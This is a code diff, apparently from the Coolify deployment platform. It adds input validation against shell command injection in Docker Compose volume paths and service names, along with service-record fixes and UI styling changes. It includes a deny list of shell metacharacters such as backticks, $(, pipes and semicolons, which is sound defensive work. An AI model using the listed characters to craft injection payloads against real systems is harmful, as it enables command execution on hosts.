||||
|
||||
if (! $isSimpleEnvVar && ! $isEnvVarWithDefault) {
|
||||
try {
|
||||
validateShellSafePath($source, 'volume source');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
|
||||
' Please use safe path names without shell metacharacters.',
|
||||
0,
|
||||
$e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (isset($volume['target'])) {
|
||||
$target = $volume['target'];
|
||||
if (is_string($target)) {
|
||||
try {
|
||||
validateShellSafePath($target, 'volume target');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
|
||||
' Please use safe path names without shell metacharacters.',
|
||||
0,
|
||||
$e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a Docker volume string (format: "source:target" or "source:target:mode")
|
||||
*
|
||||
* @param string $volumeString The volume string to validate
|
||||
*
|
||||
* @throws \Exception If the volume string contains command injection attempts
|
||||
*/
|
||||
function validateVolumeStringForInjection(string $volumeString): void
|
||||
{
|
||||
// Canonical parsing also validates and throws on unsafe input
|
||||
parseDockerVolumeString($volumeString);
|
||||
}
|
||||
|
||||
function parseDockerVolumeString(string $volumeString): array
|
||||
{
|
||||
$volumeString = trim($volumeString);
|
||||
|
|
@ -212,6 +307,46 @@ function parseDockerVolumeString(string $volumeString): array
|
|||
// Otherwise keep the variable as-is for later expansion (no default value)
|
||||
}
|
||||
|
||||
// Validate source path for command injection attempts
|
||||
// We validate the final source value after environment variable processing
|
||||
if ($source !== null) {
|
||||
// Allow simple environment variables like ${VAR_NAME} or ${VAR}
|
||||
// but validate everything else for shell metacharacters
|
||||
$sourceStr = is_string($source) ? $source : $source;
|
||||
|
||||
// Skip validation for simple environment variable references
|
||||
// Pattern: ${WORD_CHARS} with no special characters inside
|
||||
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceStr);
|
||||
|
||||
if (! $isSimpleEnvVar) {
|
||||
try {
|
||||
validateShellSafePath($sourceStr, 'volume source');
|
||||
} catch (\Exception $e) {
|
||||
// Re-throw with more context about the volume string
|
||||
throw new \Exception(
|
||||
'Invalid Docker volume definition: '.$e->getMessage().
|
||||
' Please use safe path names without shell metacharacters.'
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Also validate target path
|
||||
if ($target !== null) {
|
||||
$targetStr = is_string($target) ? $target : $target;
|
||||
// Target paths in containers are typically absolute paths, so we validate them too
|
||||
// but they're less likely to be dangerous since they're not used in host commands
|
||||
// Still, defense in depth is important
|
||||
try {
|
||||
validateShellSafePath($targetStr, 'volume target');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker volume definition: '.$e->getMessage().
|
||||
' Please use safe path names without shell metacharacters.'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'source' => $source !== null ? str($source) : null,
|
||||
'target' => $target !== null ? str($target) : null,
|
||||
|
|
@ -265,6 +400,16 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
|
||||
$allMagicEnvironments = collect([]);
|
||||
foreach ($services as $serviceName => $service) {
|
||||
// Validate service name for command injection
|
||||
try {
|
||||
validateShellSafePath($serviceName, 'service name');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker Compose service name: '.$e->getMessage().
|
||||
' Service names must not contain shell metacharacters.'
|
||||
);
|
||||
}
|
||||
|
||||
$magicEnvironments = collect([]);
|
||||
$image = data_get_str($service, 'image');
|
||||
$environment = collect(data_get($service, 'environment', []));
|
||||
|
|
@ -561,6 +706,33 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
|
|||
$content = data_get($volume, 'content');
|
||||
$isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null);
|
||||
|
||||
// Validate source and target for command injection (array/long syntax)
|
||||
if ($source !== null && ! empty($source->value())) {
|
||||
$sourceValue = $source->value();
|
||||
// Allow simple environment variable references
|
||||
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
|
||||
if (! $isSimpleEnvVar) {
|
||||
try {
|
||||
validateShellSafePath($sourceValue, 'volume source');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
|
||||
' Please use safe path names without shell metacharacters.'
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
if ($target !== null && ! empty($target->value())) {
|
||||
try {
|
||||
validateShellSafePath($target->value(), 'volume target');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
|
||||
' Please use safe path names without shell metacharacters.'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
$foundConfig = $fileStorages->whereMountPath($target)->first();
|
||||
if ($foundConfig) {
|
||||
$contentNotNull_temp = data_get($foundConfig, 'content');
|
||||
|
|
@ -1178,26 +1350,39 @@ function serviceParser(Service $resource): Collection
|
|||
$allMagicEnvironments = collect([]);
|
||||
// Presave services
|
||||
foreach ($services as $serviceName => $service) {
|
||||
// Validate service name for command injection
|
||||
try {
|
||||
validateShellSafePath($serviceName, 'service name');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker Compose service name: '.$e->getMessage().
|
||||
' Service names must not contain shell metacharacters.'
|
||||
);
|
||||
}
|
||||
|
||||
$image = data_get_str($service, 'image');
|
||||
$isDatabase = isDatabaseImage($image, $service);
|
||||
if ($isDatabase) {
|
||||
$applicationFound = ServiceApplication::where('name', $serviceName)->where('image', $image)->where('service_id', $resource->id)->first();
|
||||
$applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first();
|
||||
if ($applicationFound) {
|
||||
$savedService = $applicationFound;
|
||||
} else {
|
||||
$savedService = ServiceDatabase::firstOrCreate([
|
||||
'name' => $serviceName,
|
||||
'image' => $image,
|
||||
'service_id' => $resource->id,
|
||||
]);
|
||||
}
|
||||
} else {
|
||||
$savedService = ServiceApplication::firstOrCreate([
|
||||
'name' => $serviceName,
|
||||
'image' => $image,
|
||||
'service_id' => $resource->id,
|
||||
]);
|
||||
}
|
||||
// Update image if it changed
|
||||
if ($savedService->image !== $image) {
|
||||
$savedService->image = $image;
|
||||
$savedService->save();
|
||||
}
|
||||
}
|
||||
foreach ($services as $serviceName => $service) {
|
||||
$predefinedPort = null;
|
||||
|
|
@ -1514,20 +1699,18 @@ function serviceParser(Service $resource): Collection
|
|||
}
|
||||
|
||||
if ($isDatabase) {
|
||||
$applicationFound = ServiceApplication::where('name', $serviceName)->where('image', $image)->where('service_id', $resource->id)->first();
|
||||
$applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first();
|
||||
if ($applicationFound) {
|
||||
$savedService = $applicationFound;
|
||||
} else {
|
||||
$savedService = ServiceDatabase::firstOrCreate([
|
||||
'name' => $serviceName,
|
||||
'image' => $image,
|
||||
'service_id' => $resource->id,
|
||||
]);
|
||||
}
|
||||
} else {
|
||||
$savedService = ServiceApplication::firstOrCreate([
|
||||
'name' => $serviceName,
|
||||
'image' => $image,
|
||||
'service_id' => $resource->id,
|
||||
]);
|
||||
}
|
||||
|
|
@ -1574,6 +1757,33 @@ function serviceParser(Service $resource): Collection
|
|||
$content = data_get($volume, 'content');
|
||||
$isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null);
|
||||
|
||||
// Validate source and target for command injection (array/long syntax)
|
||||
if ($source !== null && ! empty($source->value())) {
|
||||
$sourceValue = $source->value();
|
||||
// Allow simple environment variable references
|
||||
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
|
||||
if (! $isSimpleEnvVar) {
|
||||
try {
|
||||
validateShellSafePath($sourceValue, 'volume source');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
|
||||
' Please use safe path names without shell metacharacters.'
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
if ($target !== null && ! empty($target->value())) {
|
||||
try {
|
||||
validateShellSafePath($target->value(), 'volume target');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
|
||||
' Please use safe path names without shell metacharacters.'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
$foundConfig = $fileStorages->whereMountPath($target)->first();
|
||||
if ($foundConfig) {
|
||||
$contentNotNull_temp = data_get($foundConfig, 'content');
|
||||
|
|
|
|||
|
|
@ -104,6 +104,48 @@ function sanitize_string(?string $input = null): ?string
|
|||
return $sanitized;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that a path or identifier is safe for use in shell commands.
|
||||
*
|
||||
* This function prevents command injection by rejecting strings that contain
|
||||
* shell metacharacters or command substitution patterns.
|
||||
*
|
||||
* @param string $input The path or identifier to validate
|
||||
* @param string $context Descriptive name for error messages (e.g., 'volume source', 'service name')
|
||||
* @return string The validated input (unchanged if valid)
|
||||
*
|
||||
* @throws \Exception If dangerous characters are detected
|
||||
*/
|
||||
function validateShellSafePath(string $input, string $context = 'path'): string
|
||||
{
|
||||
// List of dangerous shell metacharacters that enable command injection
|
||||
$dangerousChars = [
|
||||
'`' => 'backtick (command substitution)',
|
||||
'$(' => 'command substitution',
|
||||
'${' => 'variable substitution with potential command injection',
|
||||
'|' => 'pipe operator',
|
||||
'&' => 'background/AND operator',
|
||||
';' => 'command separator',
|
||||
"\n" => 'newline (command separator)',
|
||||
"\r" => 'carriage return',
|
||||
"\t" => 'tab (token separator)',
|
||||
'>' => 'output redirection',
|
||||
'<' => 'input redirection',
|
||||
];
|
||||
|
||||
// Check for dangerous characters
|
||||
foreach ($dangerousChars as $char => $description) {
|
||||
if (str_contains($input, $char)) {
|
||||
throw new \Exception(
|
||||
"Invalid {$context}: contains forbidden character '{$char}' ({$description}). ".
|
||||
'Shell metacharacters are not allowed for security reasons.'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return $input;
|
||||
}
|
||||
|
||||
function generate_readme_file(string $name, string $updated_at): string
|
||||
{
|
||||
$name = sanitize_string($name);
|
||||
|
|
@ -1285,6 +1327,12 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
|
|||
if ($serviceLabels->count() > 0) {
|
||||
$removedLabels = collect([]);
|
||||
$serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) {
|
||||
// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)
|
||||
if (is_array($serviceLabel)) {
|
||||
$removedLabels->put($serviceLabelName, $serviceLabel);
|
||||
|
||||
return false;
|
||||
}
|
||||
if (! str($serviceLabel)->contains('=')) {
|
||||
$removedLabels->put($serviceLabelName, $serviceLabel);
|
||||
|
||||
|
|
@ -1294,6 +1342,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
|
|||
return $serviceLabel;
|
||||
});
|
||||
foreach ($removedLabels as $removedLabelName => $removedLabel) {
|
||||
// Convert array values to strings
|
||||
if (is_array($removedLabel)) {
|
||||
$removedLabel = (string) collect($removedLabel)->first();
|
||||
}
|
||||
$serviceLabels->push("$removedLabelName=$removedLabel");
|
||||
}
|
||||
}
|
||||
|
|
@ -1317,6 +1369,13 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
|
|||
'name' => $serviceName,
|
||||
'service_id' => $resource->id,
|
||||
])->first();
|
||||
if (is_null($savedService)) {
|
||||
$savedService = ServiceDatabase::create([
|
||||
'name' => $serviceName,
|
||||
'image' => $image,
|
||||
'service_id' => $resource->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if ($isNew) {
|
||||
|
|
@ -1330,21 +1389,13 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
|
|||
'name' => $serviceName,
|
||||
'service_id' => $resource->id,
|
||||
])->first();
|
||||
}
|
||||
}
|
||||
if (is_null($savedService)) {
|
||||
if ($isDatabase) {
|
||||
$savedService = ServiceDatabase::create([
|
||||
'name' => $serviceName,
|
||||
'image' => $image,
|
||||
'service_id' => $resource->id,
|
||||
]);
|
||||
} else {
|
||||
$savedService = ServiceApplication::create([
|
||||
'name' => $serviceName,
|
||||
'image' => $image,
|
||||
'service_id' => $resource->id,
|
||||
]);
|
||||
if (is_null($savedService)) {
|
||||
$savedService = ServiceApplication::create([
|
||||
'name' => $serviceName,
|
||||
'image' => $image,
|
||||
'service_id' => $resource->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -2006,6 +2057,12 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
|
|||
if ($serviceLabels->count() > 0) {
|
||||
$removedLabels = collect([]);
|
||||
$serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) {
|
||||
// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)
|
||||
if (is_array($serviceLabel)) {
|
||||
$removedLabels->put($serviceLabelName, $serviceLabel);
|
||||
|
||||
return false;
|
||||
}
|
||||
if (! str($serviceLabel)->contains('=')) {
|
||||
$removedLabels->put($serviceLabelName, $serviceLabel);
|
||||
|
||||
|
|
@ -2015,6 +2072,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
|
|||
return $serviceLabel;
|
||||
});
|
||||
foreach ($removedLabels as $removedLabelName => $removedLabel) {
|
||||
// Convert array values to strings
|
||||
if (is_array($removedLabel)) {
|
||||
$removedLabel = (string) collect($removedLabel)->first();
|
||||
}
|
||||
$serviceLabels->push("$removedLabelName=$removedLabel");
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"scripts": {
|
||||
"setup": "./scripts/conductor-setup.sh",
|
||||
"run": "spin up; spin down"
|
||||
"run": "docker rm -f coolify coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down"
|
||||
},
|
||||
"runScriptMode": "nonconcurrent"
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
return [
|
||||
'coolify' => [
|
||||
'version' => '4.0.0-beta.435',
|
||||
'version' => '4.0.0-beta.436',
|
||||
'helper_version' => '1.0.11',
|
||||
'realtime_version' => '1.0.10',
|
||||
'self_hosted' => env('SELF_HOSTED', true),
|
||||
|
|
|
|||
|
|
@ -16,6 +16,7 @@ public function run(): void
|
|||
InstanceSettings::create([
|
||||
'id' => 0,
|
||||
'is_registration_enabled' => true,
|
||||
'is_api_enabled' => isDev(),
|
||||
'smtp_enabled' => true,
|
||||
'smtp_host' => 'coolify-mail',
|
||||
'smtp_port' => 1025,
|
||||
|
|
|
|||
|
|
@ -46,20 +46,20 @@ @utility input-focus {
|
|||
|
||||
/* input, select before */
|
||||
@utility input-select {
|
||||
@apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-1 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent;
|
||||
@apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-2 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent;
|
||||
}
|
||||
|
||||
/* Readonly */
|
||||
@utility input {
|
||||
@apply dark:read-only:text-neutral-500 dark:read-only:ring-0 dark:read-only:bg-coolgray-100/40 placeholder:text-neutral-300 dark:placeholder:text-neutral-700 read-only:text-neutral-500 read-only:bg-neutral-200;
|
||||
@apply input-select;
|
||||
@apply focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base;
|
||||
@apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
|
||||
}
|
||||
|
||||
@utility select {
|
||||
@apply w-full;
|
||||
@apply input-select;
|
||||
@apply focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base;
|
||||
@apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
|
||||
}
|
||||
|
||||
@utility button {
|
||||
|
|
|
|||
|
|
@ -98,12 +98,12 @@
|
|||
|
||||
{{-- Unified Input Container with Tags Inside --}}
|
||||
<div @click="$refs.searchInput.focus()"
|
||||
class="flex flex-wrap gap-1.5 max-h-40 overflow-y-auto scrollbar py-1.5 w-full text-sm rounded-sm border-0 ring-1 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text px-1 focus-within:ring-2 focus-within:ring-coollabs dark:focus-within:ring-warning text-black dark:text-white"
|
||||
class="flex flex-wrap gap-1.5 max-h-40 overflow-y-auto scrollbar py-1.5 w-full text-sm rounded-sm border-0 ring-2 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text px-1 focus-within:border-l-4 focus-within:border-l-coollabs dark:focus-within:border-l-warning text-black dark:text-white"
|
||||
:class="{
|
||||
'opacity-50': {{ $disabled ? 'true' : 'false' }}
|
||||
}"
|
||||
wire:loading.class="opacity-50"
|
||||
wire:dirty.class="dark:ring-warning ring-warning">
|
||||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4">
|
||||
|
||||
{{-- Selected Tags Inside Input --}}
|
||||
<template x-for="value in selected" :key="value">
|
||||
|
|
@ -229,12 +229,12 @@ class="w-4 h-4 rounded border-neutral-300 dark:border-neutral-600 bg-white dark:
|
|||
|
||||
{{-- Input Container --}}
|
||||
<div @click="openDropdown()"
|
||||
class="flex items-center gap-2 py-1.5 w-full text-sm rounded-sm border-0 ring-1 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text focus-within:ring-2 focus-within:ring-coollabs dark:focus-within:ring-warning text-black dark:text-white"
|
||||
class="flex items-center gap-2 py-1.5 w-full text-sm rounded-sm border-0 ring-2 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text focus-within:border-l-4 focus-within:border-l-coollabs dark:focus-within:border-l-warning text-black dark:text-white"
|
||||
:class="{
|
||||
'opacity-50': {{ $disabled ? 'true' : 'false' }}
|
||||
}"
|
||||
wire:loading.class="opacity-50"
|
||||
wire:dirty.class="dark:ring-warning ring-warning">
|
||||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4">
|
||||
|
||||
{{-- Display Selected Value or Search Input --}}
|
||||
<div class="flex-1 flex items-center min-w-0 px-1">
|
||||
|
|
|
|||
|
|
@ -28,7 +28,7 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
|
|||
<input autocomplete="{{ $autocomplete }}" value="{{ $value }}"
|
||||
{{ $attributes->merge(['class' => $defaultClass]) }} @required($required)
|
||||
@if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif
|
||||
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled"
|
||||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
|
||||
type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}"
|
||||
name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
|
||||
aria-placeholder="{{ $attributes->get('placeholder') }}"
|
||||
|
|
@ -39,7 +39,7 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
|
|||
<input autocomplete="{{ $autocomplete }}" @if ($value) value="{{ $value }}" @endif
|
||||
{{ $attributes->merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly)
|
||||
@if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif
|
||||
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled"
|
||||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
|
||||
type="{{ $type }}" @disabled($disabled) min="{{ $attributes->get('min') }}"
|
||||
max="{{ $attributes->get('max') }}" minlength="{{ $attributes->get('minlength') }}"
|
||||
maxlength="{{ $attributes->get('maxlength') }}"
|
||||
|
|
|
|||
|
|
@ -81,8 +81,13 @@
|
|||
document.getElementById(monacoId).addEventListener('monaco-editor-focused', (event) => {
|
||||
editor.focus();
|
||||
});
|
||||
|
||||
|
||||
updatePlaceholder(editor.getValue());
|
||||
|
||||
@if ($autofocus)
|
||||
// Auto-focus the editor
|
||||
setTimeout(() => editor.focus(), 100);
|
||||
@endif
|
||||
|
||||
$watch('monacoContent', value => {
|
||||
if (editor.getValue() !== value) {
|
||||
|
|
@ -99,7 +104,7 @@
|
|||
}, 5);" :id="monacoId">
|
||||
</div>
|
||||
<div class="relative z-10 w-full h-full">
|
||||
<div x-ref="monacoEditorElement" class="w-full h-96 text-md {{ $readonly ? 'opacity-65' : '' }}"></div>
|
||||
<div x-ref="monacoEditorElement" class="w-full h-[calc(100vh-20rem)] min-h-96 text-md {{ $readonly ? 'opacity-65' : '' }}"></div>
|
||||
<div x-ref="monacoPlaceholderElement" x-show="monacoPlaceholder" @click="monacoEditorFocus()"
|
||||
:style="'font-size: ' + monacoFontSize"
|
||||
class="w-full text-sm font-mono absolute z-50 text-gray-500 ml-14 -translate-x-0.5 mt-0.5 left-0 top-0"
|
||||
|
|
|
|||
|
|
@ -11,7 +11,7 @@ class="flex gap-1 items-center mb-1 text-sm font-medium {{ $disabled ? 'text-neu
|
|||
</label>
|
||||
@endif
|
||||
<select {{ $attributes->merge(['class' => $defaultClass]) }} @disabled($disabled) @required($required)
|
||||
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled" name={{ $modelBinding }} id="{{ $htmlId }}"
|
||||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled" name={{ $modelBinding }} id="{{ $htmlId }}"
|
||||
@if ($attributes->whereStartsWith('wire:model')->first()) {{ $attributes->whereStartsWith('wire:model')->first() }} @else wire:model={{ $modelBinding }} @endif>
|
||||
{{ $slot }}
|
||||
</select>
|
||||
|
|
|
|||
|
|
@ -27,7 +27,7 @@ function handleKeydown(e) {
|
|||
@if ($useMonacoEditor)
|
||||
<x-forms.monaco-editor id="{{ $modelBinding }}" language="{{ $monacoEditorLanguage }}" name="{{ $name }}"
|
||||
name="{{ $modelBinding }}" model="{{ $value ?? $modelBinding }}" wire:model="{{ $value ?? $modelBinding }}"
|
||||
readonly="{{ $readonly }}" label="dockerfile" />
|
||||
readonly="{{ $readonly }}" label="dockerfile" autofocus="{{ $autofocus }}" />
|
||||
@else
|
||||
@if ($type === 'password')
|
||||
<div class="relative" x-data="{ type: 'password' }">
|
||||
|
|
@ -46,7 +46,7 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer
|
|||
<input x-cloak x-show="type === 'password'" value="{{ $value }}"
|
||||
{{ $attributes->merge(['class' => $defaultClassInput]) }} @required($required)
|
||||
@if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif
|
||||
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled"
|
||||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
|
||||
type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}"
|
||||
name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
|
||||
aria-placeholder="{{ $attributes->get('placeholder') }}">
|
||||
|
|
@ -55,9 +55,10 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer
|
|||
@if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}"
|
||||
@else
|
||||
wire:model={{ $value ?? $modelBinding }}
|
||||
wire:dirty.class="dark:ring-warning ring-warning" @endif
|
||||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
|
||||
@disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}"
|
||||
name="{{ $name }}" name={{ $modelBinding }}></textarea>
|
||||
name="{{ $name }}" name={{ $modelBinding }}
|
||||
@if ($autofocus) x-ref="autofocusInput" @endif></textarea>
|
||||
|
||||
</div>
|
||||
@else
|
||||
|
|
@ -67,9 +68,10 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer
|
|||
@if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}"
|
||||
@else
|
||||
wire:model={{ $value ?? $modelBinding }}
|
||||
wire:dirty.class="dark:ring-warning ring-warning" @endif
|
||||
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
|
||||
@disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}"
|
||||
name="{{ $name }}" name={{ $modelBinding }}></textarea>
|
||||
name="{{ $name }}" name={{ $modelBinding }}
|
||||
@if ($autofocus) x-ref="autofocusInput" @endif></textarea>
|
||||
@endif
|
||||
@endif
|
||||
@error($modelBinding)
|
||||
|
|
|
|||
|
|
@ -136,13 +136,17 @@
|
|||
'new postgresql', 'new postgres', 'new mysql', 'new mariadb',
|
||||
'new redis', 'new keydb', 'new dragonfly', 'new mongodb', 'new mongo', 'new clickhouse'
|
||||
];
|
||||
|
||||
if (exactMatchCommands.includes(trimmed)) {
|
||||
const matchingItem = this.creatableItems.find(item => {
|
||||
const itemSearchText = `new ${item.name}`.toLowerCase();
|
||||
const itemType = `new ${item.type}`.toLowerCase();
|
||||
return itemSearchText === trimmed || itemType === trimmed ||
|
||||
(item.type && trimmed.includes(item.type.replace(/-/g, ' ')));
|
||||
const itemTypeWithSpaces = item.type ? `new ${item.type.replace(/-/g, ' ')}` : '';
|
||||
|
||||
// Check if trimmed matches exactly or if the item's quickcommand includes this command
|
||||
return itemSearchText === trimmed ||
|
||||
itemType === trimmed ||
|
||||
itemTypeWithSpaces === trimmed ||
|
||||
(item.quickcommand && item.quickcommand.toLowerCase().includes(trimmed));
|
||||
});
|
||||
|
||||
if (matchingItem) {
|
||||
|
|
@ -250,8 +254,7 @@
|
|||
class="fixed top-0 left-0 z-99 flex items-start justify-center w-screen h-screen pt-[10vh]">
|
||||
<div @click="closeModal()" class="absolute inset-0 w-full h-full bg-black/50 backdrop-blur-sm">
|
||||
</div>
|
||||
<div x-show="modalOpen" x-trap.inert="modalOpen"
|
||||
x-init="$watch('modalOpen', value => { document.body.style.overflow = value ? 'hidden' : '' })"
|
||||
<div x-show="modalOpen" x-trap.inert="modalOpen" x-init="$watch('modalOpen', value => { document.body.style.overflow = value ? 'hidden' : '' })"
|
||||
x-transition:enter="ease-out duration-200" x-transition:enter-start="opacity-0 -translate-y-4 scale-95"
|
||||
x-transition:enter-end="opacity-100 translate-y-0 scale-100" x-transition:leave="ease-in duration-150"
|
||||
x-transition:leave-start="opacity-100 translate-y-0 scale-100"
|
||||
|
|
@ -268,7 +271,8 @@ class="fixed top-0 left-0 z-99 flex items-start justify-center w-screen h-screen
|
|||
</svg>
|
||||
<svg x-show="isLoadingInitialData" x-cloak class="animate-spin h-5 w-5 text-warning"
|
||||
xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
|
||||
stroke-width="4">
|
||||
</circle>
|
||||
<path class="opacity-75" fill="currentColor"
|
||||
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
|
||||
|
|
@ -307,8 +311,8 @@ class="mt-2 bg-white dark:bg-coolgray-100 rounded-lg shadow-xl ring-1 ring-neutr
|
|||
class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
|
||||
viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
|
||||
d="M15 19l-7-7 7-7" />
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="2" d="M15 19l-7-7 7-7" />
|
||||
</svg>
|
||||
</button>
|
||||
<div>
|
||||
|
|
@ -323,11 +327,13 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
|
|||
</div>
|
||||
</div>
|
||||
@if ($loadingServers)
|
||||
<div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
|
||||
<svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg"
|
||||
fill="none" viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
|
||||
stroke-width="4"></circle>
|
||||
<div
|
||||
class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
|
